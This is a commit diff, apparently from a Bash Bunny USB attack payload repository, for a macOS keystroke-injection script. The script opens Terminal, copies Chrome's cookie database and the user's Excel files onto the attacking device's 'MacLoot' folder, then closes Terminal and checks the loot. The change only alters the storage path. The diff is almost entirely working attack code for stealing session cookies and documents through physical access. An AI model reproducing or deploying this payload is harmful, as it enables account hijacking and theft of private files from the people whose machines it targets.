Add files via upload
parent
0f2a390fb1
commit
dfeb225409
|
@ -5,13 +5,13 @@ QUACK DELAY 1000
|
|||
QUACK STRING terminal
|
||||
QUACK ENTER
|
||||
QUACK DELAY 8000
|
||||
QUACK STRING mkdir -p /Volumes/BashBunny/MacLoot/xlsx
|
||||
QUACK STRING mkdir -p /Volumes/BashBunny/payloads/$SWITCH_POSITION/MacLoot/xlsx
|
||||
QUACK ENTER
|
||||
QUACK DELAY 500
|
||||
QUACK STRING cat ~/Library/Application Support/Google/Chrome/Default/Cookies > /Volumes/BashBunny/MacLoot/chromecookies.db
|
||||
QUACK STRING cat ~/Library/Application Support/Google/Chrome/Default/Cookies > /Volumes/BashBunny/payloads/$SWITCH_POSITION/MacLoot/chromecookies.db
|
||||
QUACK ENTER
|
||||
QUACK DELAY 1000
|
||||
QUACK STRING cd ~/Documents && cp *.xlsx *.xls /Volumes/BashBunny/MacLoot/xlsx/
|
||||
QUACK STRING cd ~/Documents && cp *.xlsx *.xls /Volumes/BashBunny/payloads/$SWITCH_POSITION/MacLoot/xlsx/
|
||||
QUACK ENTER
|
||||
QUACK DELAY 1000
|
||||
QUACK GUI q
|
||||
|
@ -21,8 +21,8 @@ QUACK ENTER
|
|||
# Green LED for finished
|
||||
LED G
|
||||
|
||||
files=$(ls /Volumes/BashBunny/MacLoot/xlsx/*.xls 2> /dev/null | wc -l)
|
||||
files2=$(ls /Volumes/BashBunny/MacLoot/xlsx/*.xlsx 2> /dev/null | wc -l)
|
||||
files=$(ls /Volumes/BashBunny/payloads/$SWITCH_POSITION/MacLoot/xlsx/*.xls 2> /dev/null | wc -l)
|
||||
files2=$(ls /Volumes/BashBunny/payloads/$SWITCH_POSITION/MacLoot/xlsx/*.xlsx 2> /dev/null | wc -l)
|
||||
if [ "$files" != "0" -o "$files2" != "0"]
|
||||
then
|
||||
# Got spreadsheet files
|
||||
|
|
Loading…
Reference in New Issue